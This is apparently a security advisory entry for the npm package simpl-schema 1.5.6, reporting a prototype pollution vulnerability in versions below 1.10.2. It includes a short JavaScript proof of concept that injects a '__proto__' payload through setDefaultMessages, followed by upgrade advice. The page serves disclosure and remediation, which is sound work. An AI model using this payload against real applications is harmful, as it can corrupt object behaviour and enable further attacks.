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simpl-schema@1.5.6 vulnerabilities

A schema validation package that supports direct validation of MongoDB update modifier objects.

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Direct Vulnerabilities

Known vulnerabilities in the simpl-schema package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

simpl-schema is a schema validation package that supports direct validation of MongoDB update modifier objects.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const SimpleSchema = require("simpl-schema").default;
let obj = {};
console.log("Before : " + obj.polluted);
SimpleSchema.setDefaultMessages(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade simpl-schema to version 1.10.2 or higher.

<1.10.2
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